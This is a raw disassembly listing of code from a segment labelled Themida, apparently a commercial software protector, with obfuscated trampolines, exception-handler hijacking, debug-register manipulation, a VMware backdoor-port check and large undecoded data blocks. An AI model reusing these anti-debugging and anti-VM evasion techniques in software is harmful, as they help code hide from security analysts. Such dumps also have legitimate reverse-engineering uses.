Themida_:005AEF77j ; Themida_:005AEF9Dj jmp near ptr dword_5ADE00+42Bh ; --------------------------------------------------------------------------- cld mov eax, eax mov edi, eax cmp dword ptr [ebp+6131625h], 0 jnz short loc_5AEFD0 cmp dword ptr [ebp+6132C81h], 0 jz short loc_5AEFE9 loc_5AEFD0: ; CODE XREF: Themida_:005AEFC5j push eax push ebx mov eax, eax mov eax, 7DDh mov [ebp+6130D7Dh], eax lea ebx, [ebp+615A97Dh] call ebx ; _iob pop ebx pop eax loc_5AEFE9: ; CODE XREF: Themida_:005AEFCEj cmp dword ptr [ebp+6132C81h], 0 jz short loc_5AF009 push eax push ebx mov eax, 7DDh mov [ebp+6130D7Dh], eax lea ebx, [ebp+615A66Ch] call ebx ; _iob pop ebx pop eax loc_5AF009: ; CODE XREF: Themida_:005AEFF0j push 0 push esi call sub_5AF014 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AF014 proc near ; CODE XREF: Themida_:005AF00Cp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5AF014 endp ; --------------------------------------------------------------------------- xor al, 60h dec ebp sbb byte ptr [eax+64h], 0F8h sub ch, 0D4h push 0 push ebp call sub_5AF039 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AF039 proc near ; CODE XREF: Themida_:005AF031p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5AF039 endp ; --------------------------------------------------------------------------- xor dl, al xor al, 86h fiadd dword ptr [esi+ebp*8+32h] mov ebp, 8B6BB235h ror byte ptr [ebx+1323858Dh], 6 jmp loc_5AF2AC ; --------------------------------------------------------------------------- push ecx cld pop ecx lea eax, [ebp+615FC51h] add [ebp+6132035h], ecx mov [ebp+615FE49h], eax mov [ebp+613225Dh], edx jmp loc_5AF100 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5AF08D and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AF08D proc near ; CODE XREF: Themida_:005AF085p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5AF08D endp ; --------------------------------------------------------------------------- db 6, 0EEh, 5Ch dd 0D6EB0F95h, 8E0FCD61h, 6, 9CC9D781h, 0B557654Fh db 35h, 59h ; --------------------------------------------------------------------------- loc_5AF0B6: ; CODE XREF: Themida_:005AEFA9j lea eax, [ebp+615FA59h] jmp loc_5AF0CF ; --------------------------------------------------------------------------- db 0A0h, 0B3h, 0CFh dd 0D50F1FEFh, 95360899h db 61h, 0D2h, 68h ; --------------------------------------------------------------------------- loc_5AF0CF: ; CODE XREF: Themida_:005AF0BCj inc eax push 0 push ecx call sub_5AF0DB and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AF0DB proc near ; CODE XREF: Themida_:005AF0D3p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5AF0DB endp ; --------------------------------------------------------------------------- db 62h dd 10A1E834h, 76D73FB3h, 0FE498589h, 85890615h, 6130BE9h ; --------------------------------------------------------------------------- loc_5AF100: ; CODE XREF: Themida_:005AF07Dj push 34h lea eax, [ebp+6132AA5h] push eax push dword ptr [ebp+615FE49h] push 0 call dword ptr [ebp+6130155h] cmp eax, 7 jz loc_5AF288 mov bx, ds test bl, 4 jnz loc_5AF22E mov byte ptr [ebp+61311E1h], 56h push 9CA8B852h push dword ptr [ebp+613116Dh] lea eax, [ebp+6133AADh] call eax push 4 push 1000h push 64h push 0 call eax mov [ebp+615FEBCh], eax mov byte ptr [ebp+61311E1h], 47h push 0EC18AC9Bh push dword ptr [ebp+613116Dh] lea eax, [ebp+6133AADh] call eax call eax mov esi, eax mov byte ptr [ebp+61311E1h], 4Fh push 0C62F2661h push dword ptr [ebp+61307C9h] lea eax, [ebp+6133AADh] call eax lea ebx, [ebp+615FEB8h] push ebx push 28h push esi call eax test eax, eax jnz short $+2 mov byte ptr [ebp+61311E1h], 41h push 0DB876498h push dword ptr [ebp+61307C9h] lea eax, [ebp+6133AADh] call eax mov [ebp+615FED5h], eax mov byte ptr [ebp+61311E1h], 4Ch push 80A4E7A4h push dword ptr [ebp+61307C9h] lea eax, [ebp+6133AADh] call eax mov ebx, [ebp+615FEBCh] lea ebx, [ebx+4] push ebx lea ebx, [ebp+615FEC1h] push ebx push 0 call eax mov ebx, [ebp+615FEBCh] mov dword ptr [ebx], 1 mov dword ptr [ebx+0Ch], 2 mov ebx, [ebp+6131AB9h] mov dword ptr [ebp+61304F1h], 0 push 0 push 0 push 0 mov ebx, [ebp+615FEBCh] push ebx push 0 push dword ptr [ebp+615FEB8h] call dword ptr [ebp+615FED5h] loc_5AF22E: ; CODE XREF: Themida_:005AF126j mov byte ptr [ebp+61311E1h], 45h push 92A5F797h push dword ptr [ebp+61310D1h] lea eax, [ebp+6133AADh] call eax push 0 push 2 call eax mov bx, ds test bl, 4 jnz short loc_5AF288 mov ebx, [ebp+615FEBCh] mov dword ptr [ebx+0Ch], 0 push 0 push 0 mov ebx, [ebp+615FEBCh] push ebx push 0 push dword ptr [ebp+615FEB8h] call dword ptr [ebp+615FED5h] push dword ptr [ebp+615FEB8h] call dword ptr [ebp+6131209h] loc_5AF288: ; CODE XREF: Themida_:005AF11Aj ; Themida_:005AF254j push 0 call dword ptr [ebp+6131CBDh] jmp loc_5AF2A1 ; --------------------------------------------------------------------------- db 38h, 0E6h, 79h ; --------------------------------------------------------------------------- div dword ptr [esi+eax*8-5Eh] mov edx, 89D0FD14h loc_5AF2A1: ; CODE XREF: Themida_:005AF290j mov edi, 68937692h mov [ebp+6130AF1h], eax loc_5AF2AC: ; CODE XREF: Themida_:005AF05Dj lea eax, [ebp+61630FAh] push edx movsx edx, bx pop edi push eax push 0 push ebx call sub_5AF2C3 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AF2C3 proc near ; CODE XREF: Themida_:005AF2BBp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5AF2C3 endp ; --------------------------------------------------------------------------- db 36h dd 820F51A9h, 8, 2880Fh, 0FE8B0000h, 35FF64h, 8B000000h dd 130EF195h, 25896406h, 0 ; --------------------------------------------------------------------------- movsx ecx, si cmp dword ptr [ebp+6131F95h], 0 jz loc_5AF35B push 0 push edx call sub_5AF313 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AF313 proc near ; CODE XREF: Themida_:005AF30Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5AF313 endp ; --------------------------------------------------------------------------- db 0D5h dd 83FF45A5h, 13173DBDh, 850F0106h, 27h, 16FDBD8Bh, 0B70F0613h dd 0D5BD80F9h, 61602h, 11850Fh, 0BA660000h, 4CE9F622h dd 57000001h, 0B107D181h ; --------------------------------------------------------------------------- mov dl, 49h pop edi loc_5AF35B: ; CODE XREF: Themida_:005AF302j xor ebx, ebx mov dx, bx xor eax, eax cld inc eax ; --------------------------------------------------------------------------- dd 0B073F0Fh, 58F64h, 83000000h, 8F0F04C4h, 1, 7DE980F5h dd 35158D29h, 0FB830613h, 1F840FFFh, 0F000000h, 0A86h dd 8C0F6000h, 0 ; --------------------------------------------------------------------------- mov edi, eax popa push ecx or edi, [ebp+6131175h] pop edi jmp loc_5AF495 ; --------------------------------------------------------------------------- mov edi, edx jmp loc_5AF438 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- add eax, 0EA000000h cmp [ebx+78h], al sbb eax, 0F9958960h or al, 13h push es mov edx, ecx popa pop edx mov ecx, [esp+0Ch] mov dword ptr [ecx+0A4h], 0FFFFFFFFh add dword ptr [ecx+0B8h], 4 xor eax, eax retn ; --------------------------------------------------------------------------- mov ebx, [esp+0Ch] push ebp call $+5 pop ebp sub ebp, 616311Ch mov eax, [ebx+0B8h] lea eax, [ebp+61631D5h] mov [ebx+0B8h], eax pop ebp xor eax, eax retn ; --------------------------------------------------------------------------- db 0E8h dd 9, 0D268BC9h, 0B13ED15Dh, 8E804h, 8F2B0000h, 7613135Eh dd 616030A6h, 11E9595Fh, 0C1000000h, 9FA94C80h, 0DEE24596h dd 0CEBB2C5Eh, 0CCE2736Ch ; --------------------------------------------------------------------------- loc_5AF438: ; CODE XREF: Themida_:005AF3AAj lea eax, [ebp+6163112h] sub [ebp+613053Dh], eax push eax jmp loc_5AF453 ; --------------------------------------------------------------------------- dw 96CFh dd 0AC9CBEB5h db 20h, 2Ah, 32h ; --------------------------------------------------------------------------- loc_5AF453: ; CODE XREF: Themida_:005AF445j push large dword ptr fs:0 sub [ebp+6132051h], eax mov large fs:0, esp mov [ebp+61304F5h], esi mov ecx, 0Ah mov eax, 4855D704h add eax, 0DF78164h mov ebx, 8685D465h mov edx, 34B640h sub edx, 345FE8h in eax, dx cmp ebx, 564D5868h jnz short loc_5AF49F loc_5AF495: ; CODE XREF: Themida_:005AF3A3j mov dword ptr [ebp+61312A5h], 1 loc_5AF49F: ; CODE XREF: Themida_:005AF493j pop large dword ptr fs:0 add esp, 4 push 0 push ebp call sub_5AF4B4 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AF4B4 proc near ; CODE XREF: Themida_:005AF4ACp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5AF4B4 endp ; --------------------------------------------------------------------------- dd 614B2A4Bh, 42C56CA8h, 0FC2BDD80h, 6AC08Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 7B61FCC3h dd 26F4D604h, 8D31DEE0h, 61316B5h, 0BD8367B2h, 6131625h dd 83097500h, 132C81BDh, 19740006h, 0C08B5350h, 43DB8h dd 15858900h, 8D061331h, 15A9E49Dh, 5BD3FF06h, 81BD8358h dd 6132Ch, 53501774h, 43DB8h, 15858900h, 8D061331h, 15A6859Dh dd 5BD3FF06h, 6DBD0358h, 66061301h, 957FCF81h, 1FAD8D8Bh dd 0C08B0613h, 147E9h, 400h, 392E3100h, 3031h, 6 dup(0) dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h dd 20202020h, 25203D20h, 0D0A64h, 2345BD83h, 0F000613h dd 12D84h, 9C858D00h, 500615A4h, 0A406858Dh, 68500615h dd 80000001h, 0A4AC95FFh, 858D0615h, 6163297h, 0A1858D50h dd 50061632h, 6A006Ah, 0A41A858Dh, 0FF500615h, 15A49CB5h dd 9195FF06h, 8D061311h, 16329785h, 858D5006h, 61632A5h dd 6A006A50h, 2C858D00h, 500615A4h, 0A49CB5FFh, 95FF0615h dd 6131191h, 3297858Dh, 8D500616h, 1632B185h, 6A5006h dd 858D006Ah, 615A479h, 9CB5FF50h, 0FF0615A4h, 13119195h dd 97858D06h, 50061632h, 32B9858Dh, 6A500616h, 8D006A00h dd 15A49785h, 0B5FF5006h, 615A49Ch, 119195FFh, 858D0613h dd 6163297h, 0B5858D50h, 50061632h, 6A006Ah, 0A480858Dh dd 0FF500615h, 15A49CB5h, 9195FF06h, 8D061311h, 16329785h dd 858D5006h, 61632A9h, 6A006A50h, 88858D00h, 500615A4h dd 0A49CB5FFh, 95FF0615h, 6131191h, 3297858Dh, 8D500616h dd 1632AD85h, 6A5006h, 858D006Ah, 615A48Fh, 9CB5FF50h dd 0FF0615A4h, 13119195h, 9CB5FF06h, 0FF0615A4h, 1331CD95h dd 0A2E906h, 0BD830000h, 613316Dh, 95840F00h, 83000000h dd 13173DBDh, 850F0006h, 11h, 29C5958Bh, 0C2810613h, 1CF8h dd 0FE9h, 5D958D00h, 8B061306h, 0C2813452h, 3BD4C340h dd 206D9589h, 0BD830613h, 613206Dh, 55840F00h, 8B000000h dd 13206D9Dh, 4CC38306h, 8589038Bh, 61632A1h, 206D9D8Bh dd 0C3830613h, 89038B50h, 1632A585h, 6D9D8B06h, 83061320h dd 38B54C3h, 32B18589h, 9D8B0616h, 613206Dh, 8B58C383h dd 0B5858903h, 8B061632h, 13206D9Dh, 5CC38306h, 8589038Bh dd 61632A9h, 2345BD83h, 0F000613h, 0D85h, 6DBD8300h, 61331h dd 68840Fh, 0B5FF0000h, 61632B9h, 32ADB5FFh, 0B5FF0616h dd 61632A9h, 32B5B5FFh, 0B5FF0616h, 61632B1h, 32A5B5FFh dd 0B5FF0616h, 61632A1h, 329B858Dh, 8D500616h, 1632D385h dd 858D5006h, 6132609h, 8595FF50h, 83061311h, 406A24C4h dd 32BD858Dh, 8D500616h, 13260985h, 6A5006h, 15595FFh dd 16A0613h, 1CBD95FFh, 0C18B0613h, 0F31718EBh, 9B46h dd 4 dup(0) dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 6163667h dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0FFh, 0 dd 0C3616000h, 0FFFFF8E9h, 9FB58BFFh, 81061636h, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 0A3B53B00h dd 0F061636h, 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h dd 24C88C66h, 0FC00A03h, 1984h, 0BB535000h, 2, 206D858Bh dd 18860613h, 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h dd 0FFFFFFCFh, 2474FF50h, 1D95FF08h, 50061311h, 244C010Fh dd 0C08358FEh, 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h dd 324C88Ch, 840FC00Ah, 9, 206D858Bh, 0C60613h, 4FF5800h dd 4C224h, 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h dd 3884h, 2BB00h, 858B0000h, 613206Dh, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 61328D5h, 0 ; --------------------------------------------------------------------------- mov eax, [esp+8] mov ebx, [eax+1000h] mov [eax+1000h], ebx mov ebx, [eax] mov [eax], ebx jmp loc_5AFA73 ; --------------------------------------------------------------------------- mov dword ptr [ebp+61328D5h], 100h loc_5AFA73: ; CODE XREF: Themida_:005AFA64j pop eax pop ebx inc dword ptr [esp] retn ; --------------------------------------------------------------------------- db 0E9h, 0A3h, 0FFh dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh dd 0C033087Ah, 1E9h, 3F80AA00h, 0F6850F00h, 5FFFFFFFh dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h dd 0BAACBD1h, 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h dd 850FD20Bh, 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h dd 4485C700h, 1061636h, 50000000h, 244C010Fh, 48858FFEh dd 8D061636h, 16364085h, 48BD8D06h, 89061636h, 23E938h dd 858D0000h, 613065Dh, 538408Bh, 9B46F317h, 36408589h dd 858D0616h, 613065Dh, 893C408Bh, 16364485h, 5D858D06h dd 89061636h, 13111D85h, 87E906h, 8B520000h, 728B60D4h dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h dd 728BDB33h, 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh, 98040000h dd 0D8321334h, 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh dd 8C25A5Eh, 0D0858D00h, 89061638h, 13204585h, 0F8858D06h dd 89061638h, 1322D585h, 20858D06h, 89061639h, 130EE585h dd 6A6006h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 0F8D12FC3h, 0E912AE5Dh, 0E836434Eh, 0Ah dd 478F0A23h, 5D4EF3Eh, 8B603460h, 4631BECFh, 5E610E7Fh dd 0DE9C08Bh, 9B000000h, 68E000AEh, 6068C60Ah, 586CAD71h dd 1625BD83h, 75000613h, 81BD8309h, 6132Ch, 53501974h dd 0EB8C08Bh, 89000004h, 130D7D85h, 7D9D8D06h, 0FF0615A9h dd 83585BD3h, 132C81BDh, 17740006h, 0EB85350h, 89000004h dd 130D7D85h, 6C9D8D06h, 0FF0615A6h, 6A585BD3h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 5E83C351h, 0A133683Fh, 0FC973E9h, 8B66C9BFh, 50006AC8h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0BF0F741Ch, 8BC08BF6h, 95BD83C8h, 6131Fh, 0A840Fh, 0D9800000h dd 247E9FFh, 0D38B0000h, 0CE81DF8Ch, 4FFA59Ch, 4C7F766h dd 32850F00h, 6A000002h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 6C1AC355h, 80A221Fh dd 0CFC180F1h, 55F9B5BAh, 5BD8341h, 61315h, 34850Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 23E642C3h, 0E99CAA3Dh, 1D5h, 8800Fh, 81570000h, 0A71403D1h dd 0FF2B5A4Ch, 0F28B5956h, 3C9C9D8Dh, 0E6810616h, 78740B6Dh dd 0FE9h, 8202E000h, 0C0589C2Ah, 72797BA4h, 5491DAF5h dd 683FBE93h, 0B25062D8h, 0F18B939Ch, 35FF64h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0C9FAC357h, 69F7D471h, 8964B0AFh, 25h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 88EC8B5Fh, 0C48BFAB5h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 60C35141h, 460F580h, 0D08B66A5h, 0EB01CDh dd 20B9D68Bh, 6A6AD6D9h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 2C31C351h, 0BAF2BF0Fh dd 1E2E59E5h, 58F64h, 0B5000000h, 83F18B22h, 6A04C4h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 5CB4ADC3h, 0EA81669Bh, 0C00BD600h, 0B3840Fh, 8B660000h dd 6A61D3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0E23D2BC3h, 607AB626h, 0B6D18166h, 61FA8BC5h dd 7533BD8Dh, 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0C27EC8C3h, 0F7AC2B5h, 1880h, 8C0F6000h dd 0 dd 0AE8h, 40794900h, 55699DEDh, 595A2502h, 1B861h, 880F0000h dd 3, 0FFD7B70Fh, 5FBF60E7h, 0B078BD77h, 8B576116h, 8B10245Ch dd 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h dd 0C3C0335Fh, 8B66F38Bh, 6A61CAh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0FC06CCC3h, 0CBB70FF3h dd 8BF78B66h, 12E8C0h, 1F430000h, 49BFA773h, 8BD3B033h dd 0E22CB7D0h, 3668CC3Fh, 4840Fh, 0BA660000h, 835AEFB9h dd 131625BDh, 9750006h, 2C81BD83h, 74000613h, 8B535019h dd 40EB8C0h, 85890000h, 6133115h, 0A9E49D8Dh, 0D3FF0615h dd 0BD83585Bh, 6132C81h, 50177400h, 40EB853h, 85890000h dd 6133115h, 0A6859D8Dh, 0D3FF0615h, 0D78B585Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0BAC35040h, 0BECF7CE3h dd 8B7869F6h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0A0A30D64h, 50AB588Dh, 0D08B4BA4h dd 0EE8C28Bh, 0E6000000h, 67D2A678h, 0BD378EDCh, 0FB3B6628h dd 5F67B274h, 0BE9h, 5E638A00h, 0BFAB359Fh, 4811682Dh dd 6C41C781h, 0B3560000h, 0EEBE5BAFh, 0E900001Ah, 0Dh dd 6917AE88h, 0F6A5AC8Fh, 6CD9FE6h, 0E937FF53h, 5, 60CC37C7h dd 81F559B5h, 0EFFA39F1h, 81D88B0Ch, 215216E9h, 6D38120h dd 811601A7h, 0E9A219E9h, 89F88A26h, 6E90Fh, 0AF060000h dd 0F3CC9857h, 0BA04EF83h, 17C6CA2Eh, 1EE81h, 850F0000h dd 0FFFFFFB5h, 8EBh, 0 dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h dd 613173Dh, 700C858Dh, 88B0616h, 1000888Bh, 0A8B0000h dd 0FC4A8B66h, 3E408D89h, 0BD830616h, 6131505h, 0F840F00h dd 60000000h, 95FF006Ah, 6130DA9h, 0FFC4E961h, 8966FFFFh dd 0CEC1FC72h, 72896610h, 4CD5202h, 3C85895Ah, 8B06163Eh dd 163E40B5h, 10CEC106h, 2728966h, 3E40B58Bh, 89660616h dd 8B61FC72h, 163E3C85h, 958DC306h, 6132D31h, 206D9589h dd 95890613h, 6130F55h, 0F5585FFh, 85C60613h, 61311E1h dd 48D86853h, 0B5FFFCB1h, 613116Dh, 3AAD858Dh, 0D0FF0613h dd 0DA98589h, 858D0613h, 6163677h, 0D098589h, 20EB0613h dd 8 dup(0) ; --------------------------------------------------------------------------- jmp loc_5B07EF ; --------------------------------------------------------------------------- jmp loc_5B07E8 ; --------------------------------------------------------------------------- push 61640CCh jmp loc_58442C ; --------------------------------------------------------------------------- push 6164190h jmp loc_58442C ; --------------------------------------------------------------------------- push 61643C6h jmp loc_58442C ; --------------------------------------------------------------------------- push 6164426h jmp loc_58442C ; --------------------------------------------------------------------------- dw 0CD19h dd 0B7072989h, 0BF113797h, 0B6052B8Bh, 0C7163C9Ah, 31FE2D8Dh dd 0E7C78DDCh, 0FFDF73C1h, 0E4C286D9h, 0C1E16BBEh, 2CA6D7F8h dd 0F516B3F4h, 6BBDC29Ch, 9FFF8EDFh, 0F6909DB4h, 3FFD1F9Ch dd 0A72341EDh, 3Dh, 0BDE5C2BBh, 1571E06Ch, 0DE109DB5h dd 77D635BFh, 0B8109DB5h, 0C40C3E92h, 0B6157178h, 8B8BED47h dd 90C5E216h, 0A877636h, 0E473D56Ah, 88CA17A1h, 4C045334h dd 536E4C2Dh, 33h, 0F2DDC2EFh, 0E2F31ADEh, 30AEDDE7h, 71109EAFh dd 0AEC31F4Eh, 98C109Eh, 273612A5h, 87E2DEE6h, 0C3A2A83Ch dd 863771E4h, 59BC168Ch, 0E7765C79h, 0BDF9636Dh, 518EDF6Bh dd 6C74D869h, 624BBA1Dh, 62D7FB6Fh, 912E1CB0h, 0B4E33FAEh dd 69AC909Dh, 2935715Fh, 85057857h, 0C6909DA4h, 0A51A74E9h dd 2253909Dh, 909DA4A8h, 0FE1F2C71h, 451479F6h, 5AB42906h dd 23909DA5h, 65F8DAE2h, 76E7C8E7h, 909DA51Ch, 3A18A0E5h dd 4A3E3FEh, 0A0B0FF23h, 94A4E918h, 98FD968Eh, 8DDA38C9h dd 0D5318A8Ah, 3F783864h, 86E0DAADh, 76000000h, 1670E5C2h dd 0DF109DB5h, 86CC1CBEh, 9FE7023Eh, 8B94CD40h, 5A45168Bh dd 1BAB8E5Dh, 0C421AB2Bh, 0ED406241h, 6302489Ch, 98F26344h dd 610A871Ah, 84A6B43Ch, 0A5661B31h, 0BE80021Bh, 392322Fh dd 3D890000h, 4797B919h, 2F81A707h, 4695BB1Bh, 3786AC0Ah dd 0A18EBD1Dh, 7757FD4Ch, 6F4F0351h, 7452F649h, 7151FB4Eh dd 9CF66768h, 6516B3F4h, 0E5C2122Ch, 9DB51670h, 6EFBDF10h dd 223D87E6h, 350h, 1C6BBDC0h, 0DD71C1CAh, 0D6CADBCh, 29A691AEh dd 834FEF85h, 8F7CD687h, 40B5109Eh, 109E8EC6h, 0DC410E8Fh dd 0A6245514h, 95109E8Eh, 109E8EB5h, 9E8F27A4h, 8EB41210h dd 23A3109Eh, 12109E8Fh, 0D09E8EB4h, 0DCFB8BD6h, 6F2767F6h dd 6491919Ch, 0BF9C2445h, 892FB14Eh, 0E5FBE56h, 0B80CB7B2h dd 0B2A03092h, 4CBF4D3h, 0BBC210F0h, 5283D018h, 5079408Fh dd 0C170E528h, 0C6B9F02Ah, 2CE2A27h, 14D0000h, 3537555h dd 0F3456B4Bh, 2517757h, 0FB4A704Eh, 0E54A7959h, 0BB1B3988h dd 0AB0B4795h, 0B8163285h, 0AD0D3F92h, 0D04ABBA4h, 9916B3F5h dd 0E0C2DE80h, 98BA0250h, 5FF54445h, 0D1EE8F0Eh, 4351BDE6h dd 5B677FADh, 76E8BD91h, 9E4D97F6h, 0A03F47A2h, 0F16DA0BFh dd 0BA109E9Eh, 6A0B4998h, 75AD2362h, 2B6A168Ch, 5EB7A38Ch dd 0DDEC2F51h, 620C1004h, 0C71170ADh, 7715A789h, 88178C06h dd 3A6A550Ah, 5C05C65Bh, 0F2D1B0D1h, 3AC6D2CDh, 99712BA3h dd 69766778h, 99B70160h, 84296BCh, 0BE10D839h, 9A851A6Ah dd 0BAF06A9Bh, 54B90A87h, 104AB66Fh, 9DC4E071h, 4D9BCAE9h dd 6A1075E2h, 0CBBE184Dh, 6870471h, 0CEEC31BEh, 71CC3F9Fh dd 7E086104h, 3B597E61h, 4896D905h, 355B43Ch, 0B80A6060h dd 1547655h, 4A1B3988h, 2B0CAACBh, 4A7DD90Ch, 0C746FE5Ch dd 0C28ADBFDh, 49940273h, 4B96FE5Ch, 4ABB9C3Bh, 0FE5C48D0h dd 6F6C7499h, 0C3696750h, 5E3D5ABh, 78F04CBBh, 187D044Ah dd 21B39CBBh, 8E79FBDEh, 0C41D48A3h, 7819D2B9h, 0BECB5E70h dd 3051E06Ah, 6E547151h, 0A3E273DDh, 0A6A63719h, 4092B897h dd 0FCDE3F0Eh, 0AFDEE66Ch, 0F846033Fh, 44982841h, 71EAC4A4h dd 0BB2A89E8h, 0FE346B6Dh, 0F6DCFB1Ah, 3958E963h, 9D85A2AFh dd 292E3F0Bh, 1D272AE9h, 1CA4C58Eh, 4FE2A73Ah, 4C2D6CFDh dd 53F94C6Eh, 0A8225374h, 71F23003h, 0E745A42Ch, 0B6278402h dd 0F81DDB7Eh, 0DD6E5473h, 0C4880273h, 0E51EC19h, 19C483DFh dd 0A8C94CECh, 0F342C320h, 19C40482h, 60EE40ECh, 0F05CEDD1h dd 0C8412B61h, 17A14DDh, 3DE51DDBh, 16C578h, 70990000h dd 109DAA12h, 1155h, 24597600h, 109D97AAh, 10CA1273h, 9DAF1270h dd 0BEA3D610h, 0CD9CB805h, 0A4FE6F4Ch, 6D109DB4h, 4D6A4928h dd 677D365h, 109DB48Ch, 0B53690C5h, 9EFF109Dh, 57844CD1h dd 8B8BB226h, 912E6F16h, 0AE361AA9h, 9EE8013Fh, 7A9DCC41h dd 4FCE1078h, 0EF6A251Ah, 0BA975679h, 98h, 0BF1F3783h dd 0A5054999h, 0B9193183h, 0AA084897h, 0BB1B3988h, 0F746A788h dd 0D5B7D5Dh, 0F0436545h, 5587A58h, 755A6747h, 0B3F78600h dd 68DA4F16h, 414DE0C2h, 9DB552CCh, 9BFA1B10h, 8AFCE551h dd 8C64B82Dh, 0FC21168Bh, 6C1A4F6Dh, 67C71E4Fh, 5881078h dd 0EF647550h, 0FEDB9279h, 38h, 0DFFF57E3h, 0C5E569F9h dd 0D9F951E3h, 0CAE868F7h, 0DBFB59E8h, 972647E8h, 0AD3B1DBDh dd 902305A5h, 0A5381AB8h, 153A07A7h, 0B3F966E0h, 48FA2F16h dd 3C4h, 0E17B6A00h, 54E571BDh, 0DC6DDF72h, 52E365FAh dd 0E372E070h, 330252DFh, 0C392C20Fh, 1120307Fh, 